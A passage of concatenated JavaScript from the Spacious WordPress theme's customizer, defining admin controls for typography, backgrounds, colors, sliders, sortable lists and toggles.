`newValue`'s new data as an object. jQuery.extend( val, newValue ); jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); }, } ); /** * Dropdown categories control JS to handle the dropdown categories customize control. * * File `dropdown-categorie.js`. * * @package Spacious */ wp.customize.controlConstructor[ 'spacious-dropdown-categories' ] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; // Change the value. this.container.on( 'change', 'select', function () { control.setting.set( jQuery( this ).val() ); } ); } } ); /** * Editor control JS to handle the editor rendering within customize control. * * File `editor.js`. * * @package Spacious */ wp.customize.controlConstructor[ 'spacious-editor' ] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this, id = 'editor_' + control.id; wp.editor.initialize( id, { tinymce : { wpautop : true }, quicktags : true, mediaButtons : true } ); }, onChangeActive : function ( active, args ) { 'use strict'; var control = this, id = 'editor_' + control.id, element = control.container.find( 'textarea' ), editor; editor = tinyMCE.get( id ); if ( editor ) { editor.onChange.add( function ( ed ) { var content; ed.save(); content = editor.getContent(); element.val( content ).trigger( 'change' ); wp.customize.instance( control.id ).set( content ); } ); } } } ); /** * Control: FontAwesome. */ ( function ( $ ) { wp.customize.controlConstructor['spacious-fontawesome'] = wp.customize.Control.extend( { ready: function () { 'use strict'; var control = this; control.initSpaciousFontawesomeControl(); }, initSpaciousFontawesomeControl: function() { var control = this, selector = control.selector, elSelector = $( selector ).find( 'select' ), faData = [], value = control.setting._value, data = window['SpaciousCustomizerControlFontawesome' + this.id], faDataCounter = 0, faSelect; $.each( data, function ( key, value ) { faData[ faDataCounter ] = { id: value, text: value }; faDataCounter++; } ); // Add HTML inside the option element. function formatState( state ) { if ( ! state.id ) { return state.text; } var $state = $( '<span><i class="fa fa-lg ' + state.text + '"></i> ' + state.text + '</span>' ); return $state; }; // Apply selectWoo. faSelect = elSelector.selectWoo( { data: faData, width: '100%', templateResult: formatState, } ); faSelect.val( value ).trigger( 'change' ); faSelect.on( 'change', function () { control.setting.set( elSelector.val() ); } ); }, } ); } )( jQuery ); /** * Group control JS to handle the group customize option. * * File `group.js`. * * @package Spacious */ ( function ( $ ) { wp.customize.controlConstructor['spacious-group'] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; control.registerToggleEvents(); this.container.on( 'spacious_settings_changed', control.onOptionChange ); }, registerToggleEvents : function () { var control = this; /* Close popup when click outside on customize sidebar area */ $( '.wp-full-overlay-sidebar-content' ).click( function ( e ) { if ( ! $( e.target ).closest( '.spacious-field-settings-modal' ).length ) { $( '.spacious-group-toggle-icon.open' ).trigger( 'click' ); } } ); control.container.on( 'click', '.spacious-group-wrap .spacious-group-toggle-icon', function ( e ) { e.preventDefault(); e.stopPropagation(); var $this = $( this ), parent_wrap = $this.closest( '.customize-control-spacious-group' ), is_loaded = parent_wrap.find( '.spacious-field-settings-modal' ).data( 'loaded' ), parent_section = parent_wrap.parents( '.control-section' ); if ( $this.hasClass( 'open' ) ) { parent_wrap.find( '.spacious-field-settings-modal' ).hide(); } else { /* Close popup when another popup is clicked */ var get_open_popup = parent_section.find( '.spacious-group-toggle-icon.open' ); if ( get_open_popup.length > 0 ) { get_open_popup.trigger( 'click' ); } if ( is_loaded ) { parent_wrap.find( '.spacious-field-settings-modal' ).show(); } else { var fields = control.params.spacious_fields, modal_wrap = $( SpaciousCustomizerControlGroup.group_modal_tmpl ), device = $( '#customize-footer-actions .active' ).attr( 'data-device' ); parent_wrap.find( '.spacious-field-settings-wrap' ).append( modal_wrap ); parent_wrap.find( '.spacious-fields-wrap' ).attr( 'data-control', control.params.name ); control.spacious_render_field( parent_wrap, fields, control ); parent_wrap.find( '.spacious-field-settings-modal' ).show(); if ( 'mobile' === device ) { $( '.control-wrap.mobile' ).addClass( 'active' ); $( '.responsive-switchers .preview-mobile' ).addClass( 'active' ); $( '.control-wrap.tablet, .control-wrap.desktop' ).removeClass( 'active' ); $( '.responsive-switchers .preview-tablet, .responsive-switchers .preview-desktop' ).removeClass( 'active' ); } else if ( 'tablet' === device ) { $( '.control-wrap.tablet' ).addClass( 'active' ); $( '.responsive-switchers .preview-tablet' ).addClass( 'active' ); $( '.control-wrap.mobile, .control-wrap.desktop' ).removeClass( 'active' ); $( '.responsive-switchers .preview-mobile, .responsive-switchers .preview-desktop' ).removeClass( 'active' ); } else { $( '.control-wrap.desktop' ).addClass( 'active' ); $( '.responsive-switchers .preview-desktop' ).addClass( 'active' ); $( '.control-wrap.mobile, .control-wrap.tablet' ).removeClass( 'active' ); $( '.responsive-switchers .preview-mobile, .responsive-switchers .preview-tablet' ).removeClass( 'active' ); } } } $this.toggleClass( 'open' ); } ); control.container.on( 'click', '.spacious-group-wrap > .customizer-text', function ( e ) { e.preventDefault(); e.stopPropagation(); $( this ).find( '.spacious-group-toggle-icon' ).trigger( 'click' ); } ); }, spacious_render_field : function ( wrap, fields, control_element ) { var control = this; var spacious_field_wrap = wrap.find( '.spacious-fields-wrap' ); var fields_html = ''; var control_types = []; var field_values = control.isJSONString( control_element.params.value ) ? JSON.parse( control_element.params.value ) : {}; if ( 'undefined' != typeof fields.tabs ) { var counter = 0; fields_html += '<div id="' + control_element.params.name + '-tabs" class="spacious-group-tabs">'; fields_html += '<ul class="spacious-group-list">'; _.each( fields.tabs, function ( value, key ) { var li_class = ''; if ( 0 === counter ) { li_class = "active"; } fields_html += '<li class="' + li_class + '"><a href="#tab-' + key.replace( ' ','-' ) + '"><span>' + key + '</span></a></li>'; counter ++; } ); fields_html += '</ul>'; fields_html += '<div class="spacious-tab-content" >'; _.each( fields.tabs, function ( fields_data, key ) { var result = control.generateFieldHtml( fields_data, field_values ); fields_html += '<div id="tab-' + key.replace( ' ','-' ) + '" class="tab">'; fields_html += result.html; _.each( result.controls, function ( control_value, control_key ) { control_types.push( { key : control_value.key, value : control_value.value, name : control_value.name } ); } ); fields_html += '</div>'; } ); fields_html += '</div>'; fields_html += '</div>'; spacious_field_wrap.html( fields_html ); $( '#' + control_element.params.name + '-tabs' ).tabs(); } else { var result = control.generateFieldHtml( fields, field_values ); fields_html += result.html; _.each( result.controls, function ( control_value, control_key ) { control_types.push( { key : control_value.key, value : control_value.value, name : control_value.name } ); } ); spacious_field_wrap.html( fields_html ); } _.each( control_types, function ( control_type, index ) { switch ( control_type.key ) { case 'spacious-color': control.initColorControl( spacious_field_wrap, control_element, control_type.name ); break; case 'spacious-background': control.initBackgroundControl( control_element, control_type, control_type.name ); break; case 'spacious-typography': control.initTypographyControl( control_element, control_type, control_type.name ); break; } } ); wrap.find( '.spacious-field-settings-modal' ).data( 'loaded', true ); }, isJSONString : function ( string ) { try { JSON.parse( string ); } catch ( e ) { return false; } return true; }, generateFieldHtml : function ( fields_data, field_values ) { var fields_html = ''; var control_types = []; _.each( fields_data, function ( attr, index ) { var new_value = ( wp.customize.control( attr.name ) ? wp.customize.control( attr.name ).params.value : '' ), control = attr.control, template_id = 'customize-control-' + control + '-content', template = wp.template( template_id ), value = new_value || attr.default, dataAtts = '', input_attrs = ''; attr.value = value; attr.title = attr.label; // Data attributes. _.each( attr.data_attrs, function ( value, name ) { dataAtts += ' data-' + name + ' ="' + value + '"'; } ); // Input attributes. _.each( attr.input_attrs, function ( value, name ) { input_attrs += name + ' ="' + value + '"'; } ); attr.dataAttrs = dataAtts; attr.inputAttrs = input_attrs; control_types.push( { key : control, value : value, name : attr.name } ); var responsive_switchers = '', controlsType = [ 'spacious-typography' ]; if ( ( 'spacious-typography' === attr.control ) && controlsType.includes( attr.control ) ) { attr.languages = SpaciousCustomizerControlTypographySubsets; } if ( controlsType.includes( attr.control ) ) { responsive_switchers = 'has-responsive-switchers'; } fields_html += '<li id="customize-control-' + attr.name + '" class="customize-control ' + responsive_switchers + ' customize-control-' + attr.control + '" >'; fields_html += template( attr ); fields_html += '</li>'; } ); var result = new Object(); result.controls = control_types; result.html = fields_html; return result; }, onOptionChange : function ( e, control, element, value, name ) { var control_id = $( '.hidden-field-' + name ); control_id.val( value ); var sub_control = wp.customize.control( name ); sub_control.setting.set( value ); }, initColorControl : function ( wrap, control_elem, name ) { var control = this; var colorpicker = wrap.find( '.customize-control-spacious-color .spacious-color-picker-alpha' ); colorpicker.wpColorPicker( { change : function ( event, ui ) { if ( 'undefined' != typeof event.originalEvent || 'undefined' != typeof ui.color._alpha ) { var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0]; name = $( element ).parents( '.customize-control' ).attr( 'id' ); name = name.replace( 'customize-control-', '' ); $( element ).val( ui.color.toString() ); control.container.trigger( 'spacious_settings_changed', [ control, $( element ), ui.color.toString(), name ] ); } }, clear : function ( event ) { var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0]; name = $( element ).parents( '.customize-control' ).attr( 'id' ); name = name.replace( 'customize-control-', '' ); $( element ).val( '' ); control.container.trigger( 'spacious_settings_changed', [ control, $( element ), '', name ] ); wp.customize.previewer.refresh(); } } ); }, initBackgroundControl : function ( control, control_atts, name ) { var input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ), value = JSON.parse( input.val() ), control_name = control_atts.name, colorpicker = control.container.find( '.spacious-color-picker-alpha' ), controlContainer = control.container.find( '#customize-control-' + control_name ); // Hide unnecessary controls if the value doesn't have an image. if ( _.isUndefined( value['background-image'] ) || '' === value['background-image'] ) { controlContainer.find( '.customize-control-content > .background-repeat' ).hide(); controlContainer.find( '.customize-control-content > .background-position' ).hide(); controlContainer.find( '.customize-control-content > .background-size' ).hide(); controlContainer.find( '.customize-control-content > .background-attachment' ).hide(); } // Background color setting. colorpicker.wpColorPicker( { change : function () { if ( $( 'html' ).hasClass( 'colorpicker-ready' ) ) { var $this = $( this ); setTimeout( function () { control.saveBackgroundValue( 'background-color', colorpicker.val(), $this, name ); }, 100 ); } }, clear : function ( event ) { var element = $( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0]; if ( element ) { control.saveBackgroundValue( 'background-color', '', $( element ), name ); } wp.customize.previewer.refresh(); } } ); // Background image setting.. controlContainer.on( 'click', '.background-image-upload-button, .thumbnail-image img', function ( e ) { var upload_img_btn = $( this ); var image = wp.media( { multiple : false } ).open().on( 'select', function () { // This will return the selected image from the Media Uploader, the result is an object. var uploadedImage = image.state().get( 'selection' ).first(), previewImage = uploadedImage.toJSON().sizes.full.url, imageUrl, imageID, imageWidth, imageHeight, preview, removeButton; if ( ! _.isUndefined( uploadedImage.toJSON().sizes.medium ) ) { previewImage = uploadedImage.toJSON().sizes.medium.url; } else if ( ! _.isUndefined( uploadedImage.toJSON().sizes.thumbnail ) ) { previewImage = uploadedImage.toJSON().sizes.thumbnail.url; } imageUrl = uploadedImage.toJSON().sizes.full.url; imageID = uploadedImage.toJSON().id; imageWidth = uploadedImage.toJSON().width; imageHeight = uploadedImage.toJSON().height; // Show extra controls if the value has an image. if ( '' !== imageUrl ) { controlContainer.find( '.customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment' ).show(); } control.saveBackgroundValue( 'background-image', imageUrl, upload_img_btn, name ); preview = controlContainer.find( '.placeholder, .thumbnail' ); removeButton = controlContainer.find( '.background-image-upload-remove-button' ); if ( preview.length ) { preview.removeClass().addClass( 'thumbnail thumbnail-image' ).html( '<img src="' + previewImage + '" alt="" />' ); } if ( removeButton.length ) { removeButton.show(); } } ); e.preventDefault(); } ); controlContainer.on( 'click', '.background-image-upload-remove-button', function ( e ) { var preview, removeButton; e.preventDefault(); control.saveBackgroundValue( 'background-image', '', $( this ) ); preview = controlContainer.find( '.placeholder, .thumbnail' ); removeButton = controlContainer.find( '.background-image-upload-remove-button' ); // Hide unnecessary controls. controlContainer.find( '.customize-control-content > .background-repeat' ).hide(); controlContainer.find( '.customize-control-content > .background-position' ).hide(); controlContainer.find( '.customize-control-content > .background-size' ).hide(); controlContainer.find( '.customize-control-content > .background-attachment' ).hide(); if ( preview.length ) { preview.removeClass().addClass( 'placeholder' ).html( SpaciousCustomizerControlBackground.placeholder ); } if ( removeButton.length ) { removeButton.hide(); } } ); // Background repeat setting. controlContainer.on( 'change', '.background-repeat select', function () { control.saveBackgroundValue( 'background-repeat', $( this ).val(), $( this ), name ); } ); // Background position setting. controlContainer.on( 'change', '.background-position select', function () { control.saveBackgroundValue( 'background-position', $( this ).val(), $( this ), name ); } ); // Background size setting. controlContainer.on( 'change', '.background-size select', function () { control.saveBackgroundValue( 'background-size', $( this ).val(), $( this ), name ); } ); // Background attachment setting. controlContainer.on( 'change', '.background-attachment select', function () { control.saveBackgroundValue( 'background-attachment', $( this ).val(), $( this ), name ); } ); }, saveBackgroundValue : function ( property, value, element, name ) { var control = this, input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ), val = JSON.parse( input.val() ); val[property] = value; $( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); name = $( element ).parents( '.customize-control' ).attr( 'id' ); name = name.replace( 'customize-control-', '' ); control.container.trigger( 'spacious_settings_changed', [ control, element, val, name ] ); }, initTypographyControl : function ( control, control_atts, name ) { var value = control.setting._value, control_name = control_atts.name, controlContainer = control.container.find( '#customize-control-' + control_name ); // On customizer load, render the available font options. control.renderTypographyFontSelector( $( this ), name, control_atts ); control.renderTypographyVariantSelector( $( this ), name, control_atts ); control.renderTypographySubsetSelector( $( this ), name, control_atts ); // Font style setting. controlContainer.on( 'change', '.font-style select', function () { control.saveTypographyValue( 'font-style', $( this ).val(), $( this ), name ); } ); // Text transform setting. controlContainer.on( 'change', '.text-transform select', function () { control.saveTypographyValue( 'text-transform', $( this ).val(), $( this ), name ); } ); // Text decoration setting. controlContainer.on( 'change', '.text-decoration select', function () { control.saveTypographyValue( 'text-decoration', $( this ).val(), $( this ), name ); } ); // Font size setting. controlContainer.on( 'change keyup paste input', '.font-size input', function () { control.saveTypographyFontSize( $( this ), name, control_atts ); } ); // Line height setting. controlContainer.on( 'change keyup paste input', '.line-height input', function () { control.saveTypographyLineHeight( $( this ), name, control_atts ); } ); // Letter spacing setting. controlContainer.on( 'change keyup paste input', '.letter-spacing input', function () { control.saveTypographyLetterSpacing( $( this ), name, control_atts ); } ); }, renderTypographyFontSelector : function ( element, name, control_atts ) { var control = this, selector = control.selector + ' .font-family select', standardFonts = [], googleFonts = [], customFonts = [], input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ), value = JSON.parse( input.val() ), fonts = control.getTypographyFonts(), fontSelect; // Format standard fonts as an array. if ( ! _.isUndefined( fonts.standard ) ) { _.each( fonts.standard, function ( font ) { standardFonts.push( { id : font.family.replace( /"/g, ''' ), text : font.label } ); } ); } // Format Google fonts as an array. if ( ! _.isUndefined( fonts.google ) ) { _.each( fonts.google, function ( font ) { googleFonts.push( { id : font.family, text : font.label } ); } ); } // Combine fonts and build the final data. data = [ { text : fonts.standardfontslabel, children : standardFonts }, { text : fonts.googlefontslabel, children : googleFonts } ]; // Format custom fonts as an array. if ( ! _.isUndefined( fonts.custom ) ) { _.each( fonts.custom, function ( font ) { customFonts.push( { id : font.family, text : font.label } ); } ); // Merge on `data` array. data.push( { text : fonts.customfontslabel, children : customFonts } ); } // Instantiate selectWoo with the data. fontSelect = $( selector ).selectWoo( { data : data, width : '100%' } ); // Set the initial value. if ( value['font-family'] ) { fontSelect.val( value['font-family'].replace( /'/g, '"' ) ).trigger( 'change' ); } // When the font option value changes. fontSelect.on( 'change', function () { // Set the value. control.saveTypographyValue( 'font-family', $( this ).val(), $( this ), name ); // Render new list of selected font options. control.renderTypographyVariantSelector( $( this ), name, control_atts ); control.renderTypographySubsetSelector( $( this ), name, control_atts ); } ); }, getTypographyFonts : function () { var control = this; if ( ! _.isUndefined( SpaciousCustomizerControlTypography ) ) { return SpaciousCustomizerControlTypography; } return { google : [], standard : [] }; }, renderTypographyVariantSelector : function ( element, name, control_atts ) { var control = this, input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ), value = JSON.parse( input.val() ), fontFamily = value['font-family'], variants = control.getTypographyVariants( fontFamily ), selector = control.selector + ' .font-weight select', data = [], isValid = false, variantSelector; if ( false !== variants ) { $( control.selector + ' .font-weight' ).show(); _.each( variants, function ( variant ) { if ( value['font-weight'] === variant.id ) { isValid = true; } data.push( { id : variant.id, text : variant.label } ); } ); if ( ! isValid ) { value['font-weight'] = 'regular'; } if ( $( selector ).hasClass( 'select2-hidden-accessible' ) ) { $( selector ).selectWoo( 'destroy' ); $( selector ).empty(); } // Instantiate selectWoo with the data. variantSelector = $( selector ).selectWoo( { data : data, width : '100%' } ); variantSelector.val( value['font-weight'] ).trigger( 'change' ); variantSelector.on( 'change', function () { control.saveTypographyValue( 'font-weight', $( this ).val(), $( this ), name ); } ); } else { $( control.selector + ' .font-weight' ).hide(); } }, getTypographyVariants : function ( fontFamily ) { var control = this, fonts = control.getTypographyFonts(); var variants = false; _.each( fonts.standard, function ( font ) { if ( fontFamily && font.family === fontFamily.replace( /'/g, '"' ) ) { variants = font.variants; return variants; } } ); _.each( fonts.google, function ( font ) { if ( font.family === fontFamily ) { variants = font.variants; return variants; } } ); // For custom fonts. if ( ! _.isUndefined( fonts.custom ) ) { _.each( fonts.custom, function ( font ) { if ( font.custom === fontFamily ) { variants = font.variants; return variants; } } ); } return variants; }, renderTypographySubsetSelector : function ( element, name, control_atts ) { var control = this, input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ), value = JSON.parse( input.val() ), fontFamily = value['font-family'], subsets = control.getTypographySubsets( fontFamily ), selector = control.selector + ' .subsets select', data = [], validValue = value.subsets, subsetSelector; if ( false !== subsets ) { $( control.selector + ' .subsets' ).show(); _.each( subsets, function ( subset ) { if ( _.isObject( validValue ) ) { if ( - 1 === validValue.indexOf( subset.id ) ) { validValue = _.reject( validValue, function ( subValue ) { return subValue === subset.id; } ); } } data.push( { id : subset.id, text : subset.label } ); } ); } else { $( control.selector + ' .subsets' ).hide(); } if ( $( selector ).hasClass( 'select2-hidden-accessible' ) ) { $( selector ).selectWoo( 'destroy' ); $( selector ).empty(); } // Instantiate selectWoo with the data. subsetSelector = $( selector ).selectWoo( { data : data, width : '100%' } ); subsetSelector.val( validValue ).trigger( 'change' ); subsetSelector.on( 'change', function () { control.saveTypographyValue( 'subsets', $( this ).val(), $( this ), name ); } ); }, getTypographySubsets : function ( fontFamily ) { var control = this, subsets = false, fonts = control.getTypographyFonts(); _.each( fonts.google, function ( font ) { if ( font.family === fontFamily ) { subsets = font.subsets; return subsets; } } ); return subsets; }, saveTypographyFontSize : function ( element, name, control_atts ) { var control = this, input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ), val = JSON.parse( input.val() ), control_name = control_atts.name, controlContainer = control.container.find( '#customize-control-' + control_name ), newValue = { 'font-size' : {} }; controlContainer.find( '.font-size .control-wrap' ).each( function () { var controlValue = $( this ).find( 'input' ).val(); var device = $( this ).find( 'input' ).data( 'device' ); newValue['font-size'][device] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. $.extend( val, newValue ); $( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); name = $( element ).parents( '.customize-control' ).attr( 'id' ); name = name.replace( 'customize-control-', '' ); control.container.trigger( 'spacious_settings_changed', [ control, element, val, name ] ); }, saveTypographyLineHeight : function ( element, name, control_atts ) { var control = this, input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ), val = JSON.parse( input.val() ), control_name = control_atts.name, controlContainer = control.container.find( '#customize-control-' + control_name ), newValue = { 'line-height' : {} }; controlContainer.find( '.line-height .control-wrap' ).each( function () { var controlValue = $( this ).find( 'input' ).val(); var device = $( this ).find( 'input' ).data( 'device' ); newValue['line-height'][device] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. $.extend( val, newValue ); $( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); name = $( element ).parents( '.customize-control' ).attr( 'id' ); name = name.replace( 'customize-control-', '' ); control.container.trigger( 'spacious_settings_changed', [ control, element, val, name ] ); }, saveTypographyLetterSpacing : function ( element, name, control_atts ) { var control = this, input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ), val = JSON.parse( input.val() ), control_name = control_atts.name, controlContainer = control.container.find( '#customize-control-' + control_name ), newValue = { 'letter-spacing' : {} }; controlContainer.find( '.letter-spacing .control-wrap' ).each( function () { var controlValue = $( this ).find( 'input' ).val(); var device = $( this ).find( 'input' ).data( 'device' ); newValue['letter-spacing'][device] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. $.extend( val, newValue ); $( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); name = $( element ).parents( '.customize-control' ).attr( 'id' ); name = name.replace( 'customize-control-', '' ); control.container.trigger( 'spacious_settings_changed', [ control, element, val, name ] ); }, saveTypographyValue : function ( property, value, element, name ) { var control = this, input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ), val = JSON.parse( input.val() ); val[property] = value; $( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); name = $( element ).parents( '.customize-control' ).attr( 'id' ); name = name.replace( 'customize-control-', '' ); control.container.trigger( 'spacious_settings_changed', [ control, element, val, name ] ); }, } ); } )( jQuery ); /** * Background image control JS to handle the navigate customize option. * * File `navigate.js`. * * @package Spacious */ ( function ( $ ) { $( window ).on( 'load', function () { $( '.tg-navigate a' ).on( 'click', function ( e ) { e.preventDefault(); var targetSection = $( this ).data( 'section' ); if ( targetSection ) { wp.customize.section( targetSection ).focus(); } } ); } ); } )( jQuery ); /** * Radio image control JS to handle the toggle of radio images. * * File `radio-image.js`. * * @package Spacious */ wp.customize.controlConstructor[ 'spacious-radio-image' ] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; // Change the value. this.container.on( 'click', 'input', function () { control.setting.set( jQuery( this ).val() ); } ); } } ); /** * Slider control JS to handle the range of the inputs. * * File `slider.js`. * * @package Spacious */ wp.customize.controlConstructor['spacious-slider'] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; // Update the text value. this.container.find( 'input[type=range]' ).on( 'input change', function () { var value = jQuery( this ).val(), input_number = jQuery( this ).closest( '.slider-wrapper' ).find( '.spacious-range-value .value' ); input_number.val( value ); input_number.change(); } ); // Handle the reset button. this.container.find( '.spacious-slider-reset' ).click( function () { var wrapper = jQuery( this ).closest( '.slider-wrapper' ), input_range = wrapper.find( 'input[type=range]' ), input_number = wrapper.find( '.spacious-range-value .value' ), default_value = input_range.data( 'reset_value' ); input_range.val( default_value ); input_number.val( default_value ); input_number.change(); } ); // Save changes. this.container.on( 'input change', 'input[type=number]', function () { var value = jQuery( this ).val(); jQuery( this ).closest( '.slider-wrapper' ).find( 'input[type=range]' ).val( value ); control.setting.set( value ); } ); } } ); /** * Sortable control JS to handle the sortable feature of custom customize controls. * * File `sortable.js`. * * @package Spacious */ wp.customize.controlConstructor['spacious-sortable'] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; // Set the sortable container. control.sortableContainer = control.container.find( 'ul.sortable' ).first(); // Init sortable. control.sortableContainer.sortable( { // Update value when we stop sorting. stop : function () { control.updateValue(); } } ).disableSelection().find( 'li' ).each( function () { // Enable/disable options when we click on the eye of Thundera. jQuery( this ).find( 'i.visibility' ).click( function () { jQuery( this ).toggleClass( 'dashicons-visibility-faint' ).parents( 'li:eq(0)' ).toggleClass( 'invisible' ); } ); } ).click( function () { // Update value on click. control.updateValue(); } ); }, updateValue : function () { 'use strict'; var control = this, newValue = []; this.sortableContainer.find( 'li' ).each( function () { if ( ! jQuery( this ).is( '.invisible' ) ) { newValue.push( jQuery( this ).data( 'value' ) ); } } ); control.setting.set( newValue ); } } ); /** * Switch toggle control JS to handle the toggle of custom customize controls. * * File `toggle.js`. * * @package Spacious */ wp.customize.controlConstructor['spacious-toggle'] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this, value = control.setting._value; // Save the value. this.container.on( 'change', 'input', function () { value = jQuery( this ).is( ':checked' ) ? true : false; control.setting.set( value ); } ); } } ); /** * Typography control JS to handle the typography customize option. * * File `typography.js`. * * @package Spacious */ wp.customize.controlConstructor['spacious-typography'] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; // On customizer load, render the available font options. control.renderFontSelector(); control.renderVariantSelector(); control.renderSubsetSelector(); // Font style setting. control.container.on( 'change', '.font-style select', function () { control.saveValue( 'font-style', jQuery( this ).val() ); } ); // Text transform setting. control.container.on( 'change', '.text-transform select', function () { control.saveValue( 'text-transform', jQuery( this ).val() ); } ); // Text decoration setting. control.container.on( 'change', '.text-decoration select', function () { control.saveValue( 'text-decoration', jQuery( this ).val() ); } ); // Font size setting. control.container.on( 'change keyup paste input', '.font-size input', function () { control.updateFontSize(); } ); // Line height setting. control.container.on( 'change keyup paste input', '.line-height input', function () { control.updateLineHeight(); } ); // Letter spacing setting. control.container.on( 'change keyup paste input', '.letter-spacing input', function () { control.updateLetterSpacing(); } ); }, renderFontSelector : function () { var control = this, selector = control.selector + ' .font-family select', standardFonts = [], googleFonts = [], customFonts = [], value = control.setting._value, fonts = control.getFonts(), fontSelect; // Format standard fonts as an array. if ( ! _.isUndefined( fonts.standard ) ) { _.each( fonts.standard, function ( font ) { standardFonts.push( { id : font.family.replace( /"/g, ''' ), text : font.label } ); } ); } // Format Google fonts as an array. if ( ! _.isUndefined( fonts.google ) ) { _.each( fonts.google, function ( font ) { googleFonts.push( { id : font.family, text : font.label } ); } ); } // Combine fonts and build the final data. data = [ { text : fonts.standardfontslabel, children : standardFonts }, { text : fonts.googlefontslabel, children : googleFonts } ]; // Format custom fonts as an array. if ( ! _.isUndefined( fonts.custom ) ) { _.each( fonts.custom, function ( font ) { customFonts.push( { id : font.family, text : font.label } ); } ); // Merge on `data` array. data.push( { text : fonts.customfontslabel, children : customFonts } ); } // Instantiate selectWoo with the data. fontSelect = jQuery( selector ).selectWoo( { data : data, width : '100%' } ); // Set the initial value. if ( value['font-family'] ) { fontSelect.val( value['font-family'].replace( /'/g, '"' ) ).trigger( 'change' ); } // When the font option value changes. fontSelect.on( 'change', function () { // Set the value. control.saveValue( 'font-family', jQuery( this ).val() ); // Render new list of selected font options. control.renderVariantSelector(); control.renderSubsetSelector(); } ); }, getFonts : function () { var control = this; if ( ! _.isUndefined( SpaciousCustomizerControlTypography ) ) { return SpaciousCustomizerControlTypography; } return { google : [], standard : [] }; }, renderVariantSelector : function () { var control = this, value = control.setting._value, fontFamily = value['font-family'], variants = control.getVariants( fontFamily ), selector = control.selector + ' .font-weight select', data = [], isValid = false, variantSelector; if ( false !== variants ) { jQuery( control.selector + ' .font-weight' ).show(); _.each( variants, function ( variant ) { if ( value['font-weight'] === variant.id ) { isValid = true; } data.push( { id : variant.id, text : variant.label } ); } ); if ( ! isValid ) { value['font-weight'] = 'regular'; } if ( jQuery( selector ).hasClass( 'select2-hidden-accessible' ) ) { jQuery( selector ).selectWoo( 'destroy' ); jQuery( selector ).empty(); } // Instantiate selectWoo with the data. variantSelector = jQuery( selector ).selectWoo( { data : data, width : '100%' } ); variantSelector.val( value['font-weight'] ).trigger( 'change' ); variantSelector.on( 'change', function () { control.saveValue( 'font-weight', jQuery( this ).val() ); } ); } else { jQuery( control.selector + ' .font-weight' ).hide(); } }, getVariants : function ( fontFamily ) { var control = this, fonts = control.getFonts(); var variants = false; _.each( fonts.standard, function ( font ) { if ( fontFamily && font.family === fontFamily.replace( /'/g, '"' ) ) { variants = font.variants; return variants; } } ); _.each( fonts.google, function ( font ) { if ( font.family === fontFamily ) { variants = font.variants; return variants; } } ); // For custom fonts. if ( ! _.isUndefined( fonts.custom ) ) { _.each( fonts.custom, function ( font ) { if ( font.custom === fontFamily ) { variants = font.variants; return variants; } } ); } return variants; }, renderSubsetSelector : function () { var control = this, value = control.setting._value, fontFamily = value['font-family'], subsets = control.getSubsets( fontFamily ), selector = control.selector + ' .subsets select', data = [], validValue = value.subsets, subsetSelector; if ( false !== subsets ) { jQuery( control.selector + ' .subsets' ).show(); _.each( subsets, function ( subset ) { if ( _.isObject( validValue ) ) { if ( - 1 === validValue.indexOf( subset.id ) ) { validValue = _.reject( validValue, function ( subValue ) { return subValue === subset.id; } ); } } data.push( { id : subset.id, text : subset.label } ); } ); } else { jQuery( control.selector + ' .subsets' ).hide(); } if ( jQuery( selector ).hasClass( 'select2-hidden-accessible' ) ) { jQuery( selector ).selectWoo( 'destroy' ); jQuery( selector ).empty(); } // Instantiate selectWoo with the data. subsetSelector = jQuery( selector ).selectWoo( { data : data, width : '100%' } ); subsetSelector.val( validValue ).trigger( 'change' ); subsetSelector.on( 'change', function () { control.saveValue( 'subsets', jQuery( this ).val() ); } ); }, getSubsets : function ( fontFamily ) { var control = this, subsets = false, fonts = control.getFonts(); _.each( fonts.google, function ( font ) { if ( font.family === fontFamily ) { subsets = font.subsets; return subsets; } } ); return subsets; }, saveValue : function ( property, value ) { var control = this, input = control.container.find( '.typography-hidden-value' ), val = control.setting._value; val[property] = value; jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); }, updateFontSize : function () { var control = this, val = control.setting._value, input = control.container.find( '.typography-hidden-value' ), newValue = { 'font-size' : {} }; control.container.find( '.font-size .control-wrap' ).each( function () { var controlValue = jQuery( this ).find( 'input' ).val(); var device = jQuery( this ).find( 'input' ).data( 'device' ); 